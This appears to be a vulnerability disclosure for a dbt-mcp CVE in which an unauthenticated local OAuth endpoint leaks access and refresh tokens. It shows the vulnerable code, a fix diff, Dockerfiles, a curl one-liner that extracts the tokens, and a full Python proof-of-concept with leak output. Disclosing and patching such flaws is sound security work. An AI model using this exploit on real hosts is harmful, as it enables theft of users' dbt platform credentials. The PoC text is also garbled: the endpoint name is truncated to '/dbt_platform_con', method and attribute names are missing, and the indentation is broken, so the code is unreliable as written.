dbt-mcp CVE-2026-55837

# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
    logger.info("Selected project received")
    return dbt_platform_context_manager.read_context() or DbtPlatformContext()

# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
    access_token: str
    refresh_token: str
    ...

class DbtPlatformContext(BaseModel):
    decoded_access_token: DecodedAccessToken | None = None
    ...

--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+    if context is None:
+        return DbtPlatformContext()
+    return context.model_copy(update={"decoded_access_token": None})

     app = FastAPI()
+    app.add_middleware(
+        TrustedHostMiddleware,
+        allowed_hosts=["localhost", "127.0.0.1"],
+    )

     @app.get("/dbt_platform_context")
     def get_dbt_platform_context() -> DbtPlatformContext:
         logger.info("Selected project received")
-        return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+        return _redact_context(dbt_platform_context_manager.read_context())

docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
    "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
    "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
    "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
    "pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

docker run --rm --network=host vuln001-dbt-mcp

# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp
# OAuth helper starts on 127.0.0.1:6785
# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
  | jq '.decoded_access_token.access_token_response'

[*] HTTP Status: 200
[*] Full response JSON:
{
  "decoded_access_token": {
    "access_token_response": {
      "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
      "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
      "expires_in": 3600,
      "scope": "user_access offline_access",
      "token_type": "Bearer",
      "expires_at": 9999999999
    },
    ...
  },
  ...
}
[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!

FROM python:3.12-slim

WORKDIR /app
# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
 "authlib~=1.6.7" \
 "fastapi~=0.128.0" \
 "uvicorn~=0.38.0" \
 "pyjwt~=2.12.0" \
 "pyyaml~=6.0.2" \
 "httpx~=0.28.1" \
 "filelock~=3.20.3" \
 "starlette~=0.50.0" \
 "requests>=2.28" \
 "pydantic~=2.0" \
 "pydantic-settings~=2.10.1"
# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:
 - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
 - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
 - GET /dbt_platform_con is accessible with NO authentication at all.
 - Any process on the same host (or a DNS-rebinding browser page) can call it
 and receive the full access_token + refresh_token.

This PoC:
 1. Pre-seeds a con file with fake-but-realistic OAuth tokens
 (simulating a victim who has already completed the OAuth flow).
 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
 4. Confirms the tokens are returned verbatim.
"""

import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path

import httpx
import uvicorn
import yaml
# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE_CONTEXT = {
 "decoded_access_token": {
 "access_token_response": {
 "access_token": FAKE_ACCESS_TOKEN,
 "refresh_token": FAKE_REFRESH_TOKEN,
 "expires_in": 3600,
 "scope": "user_access offline_access",
 "token_type": "Bearer",
 "expires_at": 9999999999,
 },
 "decoded_claims": {
 "sub": "99999",
 "iat": 1700000000,
 "exp": 9999999999,
 },
 },
 "host_prefix": "victimco",
 "dbt_host": "cloud.getdbt.com",
 "account_id": 42,
 "selected_project_ids": None,
 "dev_environment": None,
 "prod_environment": None,
}

PORT = 16785


def start_server(context_file: Path, static_dir: str) -> None:
 """Run the actual vulnerable FastAPI app in a background thread."""
 from authlib.integrations.requests_client import OAuth2Session
 from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
 from dbt_mcp.oauth.fastapi_app import create_app

 context_manager = DbtPlatformContextManager(context_file)
# A dummy OAuth client - only used by the /oauth-callback route,
# which this PoC never triggers.
 fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")

 app = create_app(
 oauth_client=fake_oauth_client,
 state_to_verifier={},
 dbt_platform_url="https://cloud.getdbt.com",
 static_dir=static_dir,
 dbt_platform_context_manager=context_manager,
 )

 loop = asyncio.new_event_loop()
 asyncio.set_event_loop(loop)
 config = uvicorn.Config(
 app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
 )
 server = uvicorn.Server(config)
 loop.run_until_complete(server.serve())


def wait_for_server(port: int, timeout: float = 15.0) -> bool:
 import socket

 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 with socket.create_connection(("127.0.0.1", port), timeout=1):
 return True
 except OSError:
 time.sleep(0.2)
 return False


def main() -> int:
 print("[*] VULN-001 PoC - Unauthenticated /dbt_platform_con token leak")
 print("=" * 70)
# 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
 context_file = Path("/tmp/dbt_poc_mcp.yml")
 context_file.write_(
 yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
 )
 print(f"[*] Con file written: {context_file}")
 print(f" access_token : {FAKE_ACCESS_TOKEN}")
 print(f" refresh_token : {FAKE_REFRESH_TOKEN}")
# 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
 static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
 (Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")
# 3. Start the real vulnerable FastAPI server in a background thread
 t = threading.Thread(
 target=start_server, args=(context_file, static_dir), daemon=True
 )
 t.start()

 print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
 if not wait_for_server(PORT):
 print("[-] FAIL: Server did not start within timeout.")
 return 2

 print("[*] Server is up.")
# 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
 url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
 print(f"\n[*] Sending unauthenticated GET {url}")
 try:
 resp = httpx.get(url, timeout=10)
 except Exception as exc:
 print(f"[-] HTTP request failed: {exc}")
 return 2

 print(f"[*] HTTP Status: {resp.status_code}")

 if resp.status_code != 200:
 print(f"[-] FAIL: Expected 200, got {resp.status_code}")
 print(f" Body: {resp.[:500]}")
 return 1

 try:
 data = resp.json()
 except Exception as exc:
 print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
 return 1

 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")
# 5. Verify that the tokens are in the response (no redaction, no auth required)
 try:
 leaked_access = (
 data["decoded_access_token"]["access_token_response"]["access_token"]
 )
 leaked_refresh = (
 data["decoded_access_token"]["access_token_response"]["refresh_token"]
 )
 except (KeyError, TypeError) as exc:
 print(f"\n[-] FAIL: Token fields missing from response: {exc}")
 return 1

 print(f"\n[!] LEAKED access_token : {leaked_access}")
 print(f"[!] LEAKED refresh_token : {leaked_refresh}")

 if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
 print(
 "\n[+] VULNERABILITY CONFIRMED:"
 " Tokens returned from /dbt_platform_con WITHOUT authentication!"
 )
 return 0
 else:
 print("\n[-] FAIL: Returned tokens do not match expected values.")
 print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
 print(f" Got access_token : {leaked_access}")
 return 1


if __name__ == "__main__":
 sys.exit(main())